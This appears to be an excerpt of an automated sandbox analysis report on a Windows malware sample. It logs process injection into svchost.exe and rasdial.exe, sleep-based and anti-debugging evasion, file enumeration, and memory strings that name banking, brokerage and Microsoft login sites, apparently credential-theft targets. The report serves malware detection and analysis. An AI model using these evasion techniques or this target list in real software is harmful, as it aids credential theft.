                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFEFE52D7E4
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFEFE52D944
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFEFE52D504
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFEFE52D544
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFEFE52D1E4
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFEFE530154
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFEFE52DA44
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E rdtsc 2_2_03A7096E
                Source: C:\Windows\SysWOW64\rasdial.exeWindow / User API: threadDelayed 9828Jump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeEvaded block: after key decisiongraph_0-93304
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeEvaded block: after key decisiongraph_0-94414
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeAPI coverage: 4.5 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
                Source: C:\Windows\SysWOW64\rasdial.exeAPI coverage: 2.7 %
                Source: C:\Windows\SysWOW64\rasdial.exe TID: 8080Thread sleep count: 144 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exe TID: 8080Thread sleep time: -288000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exe TID: 8080Thread sleep count: 9828 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exe TID: 8080Thread sleep time: -19656000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe TID: 8100Thread sleep time: -60000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe TID: 8100Thread sleep count: 33 > 30Jump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe TID: 8100Thread sleep time: -49500s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe TID: 8100Thread sleep count: 39 > 30Jump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe TID: 8100Thread sleep time: -39000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\rasdial.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E6CA9 GetFileAttributesW,FindFirstFileW,FindClose,0_2_005E6CA9
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E60DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,0_2_005E60DD
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E63F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,0_2_005E63F9
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005EEB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_005EEB60
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005EF56F FindFirstFileW,FindClose,0_2_005EF56F
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005EF5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_005EF5FA
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F1B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_005F1B2F
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F1C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_005F1C8A
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F1F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_005F1F94
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0326C8D0 FindFirstFileW,FindNextFileW,FindClose,5_2_0326C8D0
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005BDDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_005BDDC0
                Source: a155F05G.5.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
                Source: a155F05G.5.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
                Source: a155F05G.5.drBinary or memory string: tasks.office.comVMware20,11696503903o
                Source: a155F05G.5.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
                Source: a155F05G.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
                Source: a155F05G.5.drBinary or memory string: www.interactivebrokers.comVMware20,11696503903}
                Source: a155F05G.5.drBinary or memory string: microsoft.visualstudio.comVMware20,11696503903x
                Source: a155F05G.5.drBinary or memory string: trackpan.utiitsl.comVMware20,11696503903h
                Source: a155F05G.5.drBinary or memory string: bankofamerica.comVMware20,11696503903x
                Source: a155F05G.5.drBinary or memory string: Interactive Brokers - HKVMware20,11696503903]
                Source: a155F05G.5.drBinary or memory string: global block list test formVMware20,11696503903
                Source: a155F05G.5.drBinary or memory string: secure.bankofamerica.comVMware20,11696503903|UE
                Source: a155F05G.5.drBinary or memory string: ms.portal.azure.comVMware20,11696503903
                Source: a155F05G.5.drBinary or memory string: interactivebrokers.comVMware20,11696503903
                Source: a155F05G.5.drBinary or memory string: account.microsoft.com/profileVMware20,11696503903u
                Source: a155F05G.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696503903
                Source: a155F05G.5.drBinary or memory string: AMC password management pageVMware20,11696503903
                Source: a155F05G.5.drBinary or memory string: turbotax.intuit.comVMware20,11696503903t
                Source: rasdial.exe, 00000005.00000002.3807465479.0000000003569000.00000004.00000020.00020000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3811447809.00000000012EF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: a155F05G.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696503903}
                Source: a155F05G.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696503903x
                Source: a155F05G.5.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
                Source: a155F05G.5.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
                Source: a155F05G.5.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
                Source: a155F05G.5.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
                Source: a155F05G.5.drBinary or memory string: outlook.office365.comVMware20,11696503903t
                Source: a155F05G.5.drBinary or memory string: outlook.office.comVMware20,11696503903s
                Source: a155F05G.5.drBinary or memory string: netportal.hdfcbank.comVMware20,11696503903
                Source: firefox.exe, 00000008.00000002.1964801748.00000155BA8EC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: a155F05G.5.drBinary or memory string: interactivebrokers.co.inVMware20,11696503903d
                Source: a155F05G.5.drBinary or memory string: dev.azure.comVMware20,11696503903j
                Source: a155F05G.5.drBinary or memory string: discord.comVMware20,11696503903f
                Source: a155F05G.5.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696503903
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E rdtsc 2_2_03A7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417903 LdrLoadDll,2_2_00417903
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F6AAF BlockInput,0_2_005F6AAF
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005A3D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_005A3D19
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005D3920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,0_2_005D3920
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005BE01E LoadLibraryA,GetProcAddress,0_2_005BE01E
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_01036850 mov eax, dword ptr fs:[00000030h]0_2_01036850
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_01037E70 mov eax, dword ptr fs:[00000030h]0_2_01037E70
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_01037ED0 mov eax, dword ptr fs:[00000030h]0_2_01037ED0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]2_2_03A2E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]2_2_03A2E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]2_2_03A2E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]2_2_03A5438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]2_2_03A5438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]2_2_03A28397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]2_2_03A28397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]2_2_03A28397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]2_2_03A4E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]2_2_03A4E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]2_2_03A4E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A663FF mov eax, dword ptr fs:[00000030h]2_2_03A663FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEC3CD mov eax, dword ptr fs:[00000030h]2_2_03AEC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB63C0 mov eax, dword ptr fs:[00000030h]2_2_03AB63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]2_2_03ADE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]2_2_03ADE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov ecx, dword ptr fs:[00000030h]2_2_03ADE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]2_2_03ADE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD43D4 mov eax, dword ptr fs:[00000030h]2_2_03AD43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD43D4 mov eax, dword ptr fs:[00000030h]2_2_03AD43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B08324 mov eax, dword ptr fs:[00000030h]2_2_03B08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B08324 mov ecx, dword ptr fs:[00000030h]2_2_03B08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B08324 mov eax, dword ptr fs:[00000030h]2_2_03B08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B08324 mov eax, dword ptr fs:[00000030h]2_2_03B08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]2_2_03A6A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]2_2_03A6A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]2_2_03A6A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C310 mov ecx, dword ptr fs:[00000030h]2_2_03A2C310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50310 mov ecx, dword ptr fs:[00000030h]2_2_03A50310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD437C mov eax, dword ptr fs:[00000030h]2_2_03AD437C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov ecx, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA352 mov eax, dword ptr fs:[00000030h]2_2_03AFA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD8350 mov ecx, dword ptr fs:[00000030h]2_2_03AD8350
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0634F mov eax, dword ptr fs:[00000030h]2_2_03B0634F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]2_2_03A402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]2_2_03A402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov ecx, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]2_2_03A6E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]2_2_03A6E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]2_2_03AB0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]2_2_03AB0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]2_2_03AB0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]2_2_03A402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]2_2_03A402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]2_2_03A402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B062D6 mov eax, dword ptr fs:[00000030h]2_2_03B062D6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2823B mov eax, dword ptr fs:[00000030h]2_2_03A2823B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]2_2_03A34260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]2_2_03A34260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]2_2_03A34260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2826B mov eax, dword ptr fs:[00000030h]2_2_03A2826B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB8243 mov eax, dword ptr fs:[00000030h]2_2_03AB8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB8243 mov ecx, dword ptr fs:[00000030h]2_2_03AB8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0625D mov eax, dword ptr fs:[00000030h]2_2_03B0625D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A250 mov eax, dword ptr fs:[00000030h]2_2_03A2A250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36259 mov eax, dword ptr fs:[00000030h]2_2_03A36259
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA250 mov eax, dword ptr fs:[00000030h]2_2_03AEA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA250 mov eax, dword ptr fs:[00000030h]2_2_03AEA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A70185 mov eax, dword ptr fs:[00000030h]2_2_03A70185
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]2_2_03AEC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]2_2_03AEC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4180 mov eax, dword ptr fs:[00000030h]2_2_03AD4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4180 mov eax, dword ptr fs:[00000030h]2_2_03AD4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]2_2_03A2A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]2_2_03A2A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]2_2_03A2A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B061E5 mov eax, dword ptr fs:[00000030h]2_2_03B061E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A601F8 mov eax, dword ptr fs:[00000030h]2_2_03A601F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]2_2_03AF61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]2_2_03AF61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov ecx, dword ptr fs:[00000030h]2_2_03AAE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A60124 mov eax, dword ptr fs:[00000030h]2_2_03A60124
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
